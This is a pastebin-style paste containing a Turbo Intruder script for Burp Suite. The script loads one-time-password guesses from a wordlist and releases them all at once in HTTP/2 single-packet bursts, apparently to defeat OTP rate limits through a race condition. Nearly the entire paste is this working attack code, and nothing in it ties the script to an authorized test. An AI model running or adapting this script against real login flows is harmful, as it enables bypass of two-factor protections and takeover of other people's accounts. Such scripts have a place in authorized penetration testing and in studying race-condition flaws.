Untitled

 avatar
unknown
plain_text
20 days ago
1.2 kB
7
Indexable
def queueRequests(target, wordlists):
    # Use Engine.BURP2 for HTTP/2 single-packet attacks or Engine.THREADED for HTTP/1
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=100,  # Increase connections for more aggressive testing
        requestsPerConnection=1,   # Single request per connection for precision
        engine=Engine.BURP2        # Using BURP2 for HTTP/2 capabilities
    )

    # Customize the OTP values to be sent
    otp_values = []
    with open('/PATHOFYOURWORLDLIST/1.txt', 'r') as file:
        otp_values = [line.strip() for line in file]




    # Queue multiple requests with different OTPs simultaneously
    for otp in otp_values:
        # Replace %s in the payload with the current OTP value
        payload = target.req.replace('%s', otp)
        engine.queue(payload, gate='race1')  # Tag requests for synchronized execution

    # Open the gate to release all 'race1' tagged requests simultaneously
    engine.openGate('race1')


def handleResponse(req, interesting):
    # Add each response to the Turbo Intruder table for review
    table.add(req)
Leave a Comment